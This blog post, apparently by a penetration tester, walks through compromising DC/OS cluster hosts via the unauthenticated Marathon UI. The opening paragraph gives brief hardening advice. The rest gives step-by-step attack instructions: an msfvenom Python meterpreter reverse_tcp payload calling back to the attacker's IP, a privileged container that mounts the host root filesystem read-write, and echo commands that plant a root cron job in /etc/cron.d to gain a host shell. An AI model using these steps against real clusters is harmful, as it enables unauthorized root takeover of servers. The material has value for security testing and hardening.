Ever wonder how you can use a docker container to compromise the host? There is a simple process to do so, if you have the ability to start a docker container. With the increasing utilization of docker, there have been several cluster solutions developed. Among these solutions is DC/OS. By default, the installation is found to be rather insecure. The first couple of steps have you disable firewalld and selinux. As it is a cluster environment communication is key between all servers to make sure everything is running, but from a security stand point, this should be making you scream. Once you get the DC/OS cluster up and running, don’t stop there! If you do, you leave your cluster at a high risk of becoming compromised. Make sure you move down the guide to securing your cluster. Additionally, make sure you have set up iptables or have a firewall blocking traffic so only trusted hosts can access your DC/OS master servers as these are sensitive services. Personally, I would recommend setting your cluster up in its own isolated network, and only allow the administrators IP space access to port 80, or if you are really fancy, move it to port 443 with TLS encryption so you are not passing credentials in clear text to this part of the application.
There are several services that DC/OS utilizes to make its cluster function. For this compromise I’ll be focusing on the Marathon UI. The Marathon UI, by default, is exposed on port 8080. It does not require any authentication to access, just point a web browser and you can deploy, suspend, scale, and delete docker containers in the cluster on demand.
Other then being able to scale, suspend, deploy, or delete docker containers, I wanted to gain root access to a server in the cluster itself. I found that you can create a docker container that has the the root path of the agent server mounted with read and write permissions. As the docker container runs commands as root, and all root users have a uid of 0, it makes it possible to read or write anything in the mounted path.
To manually abuse this you first you need to setup a Python Meterpeter reverse listener, and create your payload with msfvenom.
msfvenom --payload python/meterpreter/reverse_tcp LPORT=<port> LHOST=<your_ip>
Now create a docker container that will kick us back a shell and verify we have read and write access to the mounted path. To do this from the Marathon web application in the top right hand corner click ‘Create Application’.
In the ID field put in a name for your docker container. The command section is where we will make our money. When setting up the commands, you need to make sure you end your command with something that will leave a running service or application. If you do not end with a command that leaves the docker container in a running state, it will constantly restart tossing you ungodly amount of unusable shells. For this part I used the following:
# Python meterpeter payload followed by a python web service to leave it in a running state.
python3 -c "<meterpreter payload here>"
python3 -m http.server 8080
The next tab of the Create Application dialog is the Docker Container. In this tap you need to provide a valid image name from hub.docker.io. There are many to choose from, so I went with something simple that has python3 installed by default. I would recommend using a trusted source docker image from python. Python:3 is 127mb making it pretty small and easy to deploy. If you want to go even smaller you can do python:3-slim which is 27mb. For the network option you can leave on host or select bridged, all depends on how the clusters router is configured. By default if it is set to host, it should still be able to route traffic back out to you. Finally on this section select ‘Extend runtime privileges’.
Finally we will need to configure the docker container to have the ‘/’ mounted of the agent server when it boots up. This step is the key to the whole process. Click on the tab ‘volumes’ put in where on the container you want the root path mounted to. For this example I used /mnt/host/. For the host path just put in / and change the mode to read and write.
After verifying you have all the information correct for your hostile docker container, click create application. Give it a few minutes to deploy as this will very from cluster to cluster depending on available resources, speed of the network, size of the docker image, size of the cluster, ect. If it stays on waiting or deploying, click on the docker container, and then then select debug. This should provide you some information of why it is not reaching a running state. If you start to see tons of shells calling in and falling off it is because the container is never reaching a state of running a service, and restarting.
If everything goes according to plan you will receive a shell that is running inside the docker container. From here lets verify the host servers root path is mounted, and we have read and write permissions. First I check to see if am root, then change directory to the mounted path to verify I can see folders in it. Check to see if I can read sensitive information in it, and finally make a folder in a location only root can to verify write access.
Now its time to get shell on the this host server. For this I choose to write a cron job file to /etc/cron.d/ that will run in one minute. First step is to echo your payload into /mnt/host/tmp/filename or where ever you want to in the mounted file system. Secondly, you will want to echo the cron job file into place. Take note on the command in the cron.d that it is pointing that the absolute path of the host server itself, and not the full path from the docker container. It is important to note as this command will be executed on the host server, and not from the container when the time hits for the cron job to run.
# echo the python payload
echo "<meterpreter payload here>" > /mnt/host/tmp/adsf
# echo out the cron job
echo "PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin" > /mnt/host/etc/cron.d/asdf
echo "" >> /mnt/host/etc/cron.d/asdf
echo "* * * * * root python3 -m /tmp/adsf && rm /etc/cron.d/asdf" >> /mnt/host/etc/cron.d/asdf
Wait about 60 seconds and you will gain a shell from the host server.
After figuring out how to manually abuse the features of this web application I captured the web requests for creating a docker container. From here I was able to create a Metasploit Module that conducted all these actions. Here is the pull request to the exploit to the metasploit-framework.